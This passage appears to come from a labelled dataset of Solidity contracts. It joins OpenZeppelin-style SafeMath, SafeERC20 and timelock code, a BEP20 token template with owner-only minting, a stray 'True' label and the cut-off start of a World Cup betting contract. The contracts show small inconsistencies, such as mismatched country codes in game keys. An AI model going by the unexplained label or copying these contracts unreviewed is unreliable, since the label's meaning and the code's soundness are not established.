*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time");
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time");
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
_token.safeTransfer(_beneficiary, amount);
}
}
contract HolderTimelock is TokenTimelock {
constructor(
IERC20 _token,
address _beneficiary,
uint256 _releaseTime
)
public
TokenTimelock(_token, _beneficiary, _releaseTime)
//solhint-disable-next-line
{}
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/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
// File: contracts/BEP20.sol
pragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "THE BLACKOUT";
_symbol = "BLKO";
_decimals = 18;
_totalSupply = 1000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
} | True | [
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] |
pragma solidity ^0.4.24;
/*
ETHEREUM WORLD CUP : 14th June - 15th July 2018 [Russia]
- designed and implemented by Norsefire.
- thanks to Etherguy and oguzhanox for debugging and front-end respectively.
Rules are as follows:
* Entry to the game costs 0.2018 Ether. Use the register function when sending this.
- Any larger or smaller amount of Ether, will be rejected.
* 90% of the entry fee will go towards the prize fund, with 10% forming a fee.
Of this fee, half goes to the developer, and half goes directly to Giveth (giveth.io/donate).
The entry fee is the only Ether you will need to send for the duration of the
tournament, barring the gas you spend for placing predictions.
* Buying an entry allows the sender to place predictions on each game in the World Cup,
barring those which have already kicked off prior to the time a participant enters.
* Predictions can be made (or changed!) at any point up until the indicated kick-off time.
* Selecting the correct result for any given game awards the player one point.
In the first stage, a participant can also select a draw. This is not available from the RO16 onwards.
* If a participant reaches a streak of three or more correct predictions in a row, they receive two points
for every correct prediction from the third game until the streak is broken.
* If a participant reaches a streak of *five* or more correct predictions in a row, they receive four points
for every correct prediction from the fifth game until the streak is broken.
* In the event of a tie, the following algorithm is used to decide rankings:
- Compare the sum totals of the scores over the last 32 games.
- If this produces a draw as well, compare results of the last 16 games.
- This repeats until comparing the results of the final.
- If it's a dead heat throughout, a coin-flip (or some equivalent method) will be used to determine the winner.
Prizes:
FIRST PLACE: 40% of Ether contained within the pot.
SECOND PLACE: 30% of Ether contained within the pot.
THIRD PLACE: 20% of Ether contained within the pot.
FOURTH PLACE: 10% of Ether contained within the pot.
Participant Teams and Groups:
[Group D] AR - Argentina
[Group C] AU - Australia
[Group G] BE - Belgium
[Group E] BR - Brazil
[Group E] CH - Switzerland
[Group H] CO - Colombia
[Group E] CR - Costa Rica
[Group E] CS - Serbia
[Group F] DE - Germany
[Group C] DK - Denmark
[Group A] EG - Egypt
[Group G] EN - England
[Group B] ES - Spain
[Group C] FR - France
[Group D] HR - Croatia
[Group B] IR - Iran
[Group D] IS - Iceland
[Group H] JP - Japan
[Group F] KR - Republic of Korea
[Group B] MA - Morocco
[Group F] MX - Mexico
[Group D] NG - Nigeria
[Group G] PA - Panama
[Group C] PE - Peru
[Group H] PL - Poland
[Group B] PT - Portugal
[Group A] RU - Russia
[Group A] SA - Saudi Arabia
[Group F] SE - Sweden
[Group H] SN - Senegal
[Group G] TN - Tunisia
[Group A] UY - Uruguay
*/
contract ZeroBTCInterface {
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract ZeroBTCWorldCup {
using SafeMath for uint;
/* CONSTANTS */
address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae;
address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
address internal constant BTCTKNADDR = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
ZeroBTCInterface public BTCTKN;
string name = "EtherWorldCup";
string symbol = "EWC";
uint internal constant entryFee = 2018e15;
uint internal constant ninetyPercent = 18162e14;
uint internal constant fivePercent = 1009e14;
uint internal constant tenPercent = 2018e14;
/* VARIABLES */
mapping (string => int8) worldCupGameID;
mapping (int8 => bool) gameFinished;
// Is a game no longer available for predictions to be made?
mapping (int8 => uint) gameLocked;
// A result is either the two digit code of a country, or the word "DRAW".
// Country codes are listed above.
mapping (int8 => string) gameResult;
int8 internal latestGameFinished;
uint internal prizePool;
uint internal givethPool;
uint internal adminPool;
int registeredPlayers;
mapping (address => bool) playerRegistered;
mapping (address => mapping (int8 => bool)) playerMadePrediction;
mapping (address => mapping (int8 => string)) playerPredictions;
mapping (address => int8[64]) playerPointArray;
mapping (address => int8) playerGamesScored;
mapping (address => uint) playerStreak;
address[] playerList;
/* DEBUG EVENTS */
event Registration(
address _player
);
event PlayerLoggedPrediction(
address _player,
int _gameID,
string _prediction
);
event PlayerUpdatedScore(
address _player,
int _lastGamePlayed
);
event Comparison(
address _player,
uint _gameID,
string _myGuess,
string _result,
bool _correct
);
event StartAutoScoring(
address _player
);
event StartScoring(
address _player,
uint _gameID
);
event DidNotPredict(
address _player,
uint _gameID
);
event RipcordRefund(
address _player
);
/* CONSTRUCTOR */
constructor ()
public
{
// First stage games: these are known in advance.
// Thursday 14th June, 2018
worldCupGameID["RU-SA"] = 1; // Russia vs Saudi Arabia
gameLocked[1] = 1528988400;
// Friday 15th June, 2018
worldCupGameID["EG-UY"] = 2; // Egypt vs Uruguay
worldCupGameID["MA-IR"] = 3; // Morocco vs Iran
worldCupGameID["PT-ES"] = 4; // Portugal vs Spain
gameLocked[2] = 1529064000;
gameLocked[3] = 1529074800;
gameLocked[4] = 1529085600;
// Saturday 16th June, 2018
worldCupGameID["FR-AU"] = 5; // France vs Australia
worldCupGameID["AR-IS"] = 6; // Argentina vs Iceland
worldCupGameID["PE-DK"] = 7; // Peru vs Denmark
worldCupGameID["HR-NG"] = 8; // Croatia vs Nigeria
gameLocked[5] = 1529143200;
gameLocked[6] = 1529154000;
gameLocked[7] = 1529164800;
gameLocked[8] = 1529175600;
// Sunday 17th June, 2018
worldCupGameID["CR-CS"] = 9; // Costa Rica vs Serbia
worldCupGameID["DE-MX"] = 10; // Germany vs Mexico
worldCupGameID["BR-CH"] = 11; // Brazil vs Switzerland
gameLocked[9] = 1529236800;
gameLocked[10] = 1529247600;
gameLocked[11] = 1529258400;
// Monday 18th June, 2018
worldCupGameID["SE-KR"] = 12; // Sweden vs Korea
worldCupGameID["BE-PA"] = 13; // Belgium vs Panama
worldCupGameID["TN-EN"] = 14; // Tunisia vs England
gameLocked[12] = 1529323200;
gameLocked[13] = 1529334000;
gameLocked[14] = 1529344800;
// Tuesday 19th June, 2018
worldCupGameID["CO-JP"] = 15; // Colombia vs Japan
worldCupGameID["PL-SN"] = 16; // Poland vs Senegal
worldCupGameID["RU-EG"] = 17; // Russia vs Egypt
gameLocked[15] = 1529409600;
gameLocked[16] = 1529420400;
gameLocked[17] = 1529431200;
// Wednesday 20th June, 2018
worldCupGameID["PT-MA"] = 18; // Portugal vs Morocco
worldCupGameID["UR-SA"] = 19; // Uruguay vs Saudi Arabia
worldCupGameID["IR-ES"] = 20; // Iran vs Spain
gameLocked[18] = 1529496000;
gameLocked[19] = 1529506800;
gameLocked[20] = 1529517600;
// Thursday 21st June, 2018
worldCupGameID["DK-AU"] = 21; // Denmark vs Australia
worldCupGameID["FR-PE"] = 22; // France vs Peru
worldCupGameID["AR-HR"] = 23; // Argentina vs Croatia
gameLocked[21] = 1529582400;
gameLocked[22] = 1529593200;
gameLocked[23] = 1529604000;
// Friday 22nd June, 2018
worldCupGameID["BR-CR"] = 24; // Brazil vs Costa Rica
worldCupGameID["NG-IS"] = 25; // Nigeria vs Iceland
worldCupGameID["CS-CH"] = 26; // Serbia vs Switzerland
gameLocked[24] = 1529668800;
gameLocked[25] = 1529679600;
gameLocked[26] = 1529690400;
// Saturday 23rd June, 2018
worldCupGameID["BE-TN"] = 27; // Belgium vs Tunisia
worldCupGameID["KR-MX"] = 28; // Korea vs Mexico
worldCupGameID["DE-SE"] = 29; // Germany vs Sweden
gameLocked[27] = 1529755200;
gameLocked[28] = 1529766000;
gameLocked[29] = 1529776800;
// Sunday 24th June, 2018
worldCupGameID["EN-PA"] = 30; // England vs Panama
worldCupGameID["JP-SN"] = 31; // Japan vs Senegal
worldCupGameID["PL-CO"] = 32; // Poland vs Colombia
gameLocked[30] = 1529841600;
gameLocked[31] = 1529852400;
gameLocked[32] = 1529863200;
// Monday 25th June, 2018
worldCupGameID["UR-RU"] = 33; // Uruguay vs Russia
worldCupGameID["SA-EG"] = 34; // Saudi Arabia vs Egypt
worldCupGameID["ES-MA"] = 35; // Spain vs Morocco
worldCupGameID["IR-PT"] = 36; // Iran vs Portugal
gameLocked[33] = 1529935200;
gameLocked[34] = 1529935200;
gameLocked[35] = 1529949600;
gameLocked[36] = 1529949600;
// Tuesday 26th June, 2018
worldCupGameID["AU-PE"] = 37; // Australia vs Peru
worldCupGameID["DK-FR"] = 38; // Denmark vs France
worldCupGameID["NG-AR"] = 39; // Nigeria vs Argentina
worldCupGameID["IS-HR"] = 40; // Iceland vs Croatia
gameLocked[37] = 1530021600;
gameLocked[38] = 1530021600;
gameLocked[39] = 1530036000;
gameLocked[40] = 1530036000;
// Wednesday 27th June, 2018
worldCupGameID["KR-DE"] = 41; // Korea vs Germany
worldCupGameID["MX-SE"] = 42; // Mexico vs Sweden
worldCupGameID["CS-BR"] = 43; // Serbia vs Brazil
worldCupGameID["CH-CR"] = 44; // Switzerland vs Costa Rica
gameLocked[41] = 1530108000;
gameLocked[42] = 1530108000;
gameLocked[43] = 1530122400;
gameLocked[44] = 1530122400;
// Thursday 28th June, 2018
worldCupGameID["JP-PL"] = 45; // Japan vs Poland
worldCupGameID["SN-CO"] = 46; // Senegal vs Colombia
worldCupGameID["PA-TN"] = 47; // Panama vs Tunisia
worldCupGameID["EN-BE"] = 48; // England vs Belgium
gameLocked[45] = 1530194400;
gameLocked[46] = 1530194400;
gameLocked[47] = 1530208800;
gameLocked[48] = 1530208800;
// Second stage games and onwards. The string values for these will be overwritten
// as the tournament progresses. This is the order that will be followed for the
// purposes of calculating winning streaks, as per the World Cup website.
// Round of 16
// Saturday 30th June, 2018
worldCupGameID["1C-2D"] = 49; // 1C vs 2D
worldCupGameID["1A-2B"] = 50; // 1A vs 2B
gameLocked[49] = 1530367200;
gameLocked[50] = 1530381600;
// Sunday 1st July, 2018
